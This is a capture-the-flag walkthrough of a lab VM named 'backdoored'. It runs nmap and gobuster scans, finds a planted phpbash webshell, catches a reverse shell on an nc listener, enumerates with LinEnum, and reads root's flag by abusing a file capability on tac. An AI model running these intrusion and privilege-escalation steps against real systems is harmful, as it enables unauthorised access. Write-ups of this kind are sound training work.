

backdoored

For this case our vulnerable machine ip is 192.168.112

IP	At	MAC Address	Count	Len	MAC Vendor / Hostname
192.168.112.2	00:50:56:ff:d2:74	1	60	VMware, Inc.	
192.168.112.140	00:0c:29:52:06:be	3	180	VMware, Inc.	
192.168.112.141	00:0c:29:42:c3:22	2	120	VMware, Inc.	
192.168.112.254	00:50:56:f9:36:73	2	120	VMware, Inc.	

```
root@kali:/usr/share/dirbuster/wordlists# netdiscover -r 192.168.112.136/24
```

Using nmap, only port 1337(http) was available.

```
root@kali:/SecLists/Discovery/Web-Content# nmap -sC -sV -p- backdoored
Starting Nmap 7.70 ( https://nmap.org ) at 2020-09-10 21:40 +08
Nmap scan report for backdoored (192.168.112.140)
Host is up (0.00073s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE VERSION
1337/tcp  open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: backdoored VM
MAC Address: 00:0C:29:52:06:BE (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.37 seconds
root@kali:/SecLists/Discovery/Web-Content#
```

At this point i was kinda stuck, so i asked 0xatom if seclist was the proper way going forward, he gave me clues that raft is the correct wordlist to use.

Redirection error here means we are on the right track.

```
root@kali:/SecLists/Discovery/Web-Content# gobuster dir --url $host -w raft-large-directories.txt
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          http://backdoored:1337/
[+] Threads:      10
[+] Wordlist:      raft-large-directories.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:    gobuster/3.0.1
[+] Timeout:      10s
=====
2020/09/10 21:38:53 Starting gobuster
=====
/server-status (Status: 403)
[ERROR] 2020/09/10 21:38:55 [!] parse http://backdoored:1337/error_log: net/url: invalid control character
/wedadmin (Status: 301)
=====
2020/09/10 21:38:58 Finished
=====
root@kali:/SecLists/Discovery/Web-Content#
```

Browsing wedadmin, its pmuch a webshell.



user.txt here

```
bob@backdoored:/home/bob# ls -Flah
total 28K
drwxr-xr-x 2 bob bob 4.0K Aug 9 19:38 ./
drwxr-xr-x 3 root root 4.0K Aug 9 18:09 ../
-rw----- 1 bob bob 5 Aug 9 19:38 .bash_history
-rw-r--r-- 1 bob bob 220 Aug 9 18:09 .bash_logout
-rw-r--r-- 1 bob bob 3.5K Aug 9 18:09 .bashrc
-rw-r--r-- 1 bob bob 807 Aug 9 18:09 .profile
-rw-r--r-- 1 root root 33 Aug 9 18:53 user.txt
bob@backdoored:/home/bob# cat user.txt
46f7e8413056847a0d4905c5af103f56
```

I prefer terminal vs webshell but whatever.

```
root@kali:/SecLists/Discovery/Web-Content# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.112.136] from (UNKNOWN) [192.168.112.140] 35722
/bin/sh: 0: can't access tty; job control turned off
$ python -c "import pty;pty.spawn('/bin/bash')"
bob@backdoored:/home/bob$ ^Z
[1]+  Stopped                  nc -nlvp 4444
root@kali:/SecLists/Discovery/Web-Content# stty raw -echo
root@kali:/SecLists/Discovery/Web-Content# nc -nlvp 4444

bob@backdoored:/home/bob$ stty rows 67 cols 123
bob@backdoored:/home/bob$ export TERM='xterm'
bob@backdoored:/home/bob$ alias cls='clear';alias lsf='ls -Flah'
bob@backdoored:/home/bob$
```

Uploaded LinEnum.sh using the 'upload' command on phpbash and uploaded priv escalation script.

Priv Esc Script - <https://github.com/rebootuser/LinEnum>

WebShell - <https://github.com/Arrexel/phpbash>

```
bob@backdoored:/# cd /tmp
bob@backdoored:/tmp# Uploading LinEnum.sh...
LinEnum.sh successfully uploaded to /tmp/
```

Output of capabilities certainly pique my interest and upon searching further, tac could be harnessed to read root.txt

```
[+] Files with POSIX capabilities set:
/usr/bin/ping = cap_net_raw+ep
/usr/bin/tac = cap_dac_read_search+ep
```

```
bob@backdoored:/tmp$ tac --help
Usage: tac [OPTION]... [FILE]...
Write each FILE to standard output, last line first.

With no FILE, or when FILE is -, read standard input.

Mandatory arguments to long options are mandatory for short options too.
-b, --before          attach the separator before instead of after
-r, --regex           interpret the separator as a regular expression
-s, --separator=STRING use STRING as the separator instead of newline
--help               display this help and exit
--version            output version information and exit

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report tac translation bugs to <https://translationproject.org/team/>
Full documentation at: <https://www.gnu.org/software/coreutils/tac>
or available locally via: info '(coreutils) tac invocation'
```

root flag

```
bob@backdoored:/tmp$ tac /root/root.txt
395fdad197a5386ea3f8d02143f3fb75
bob@backdoored:/tmp$
```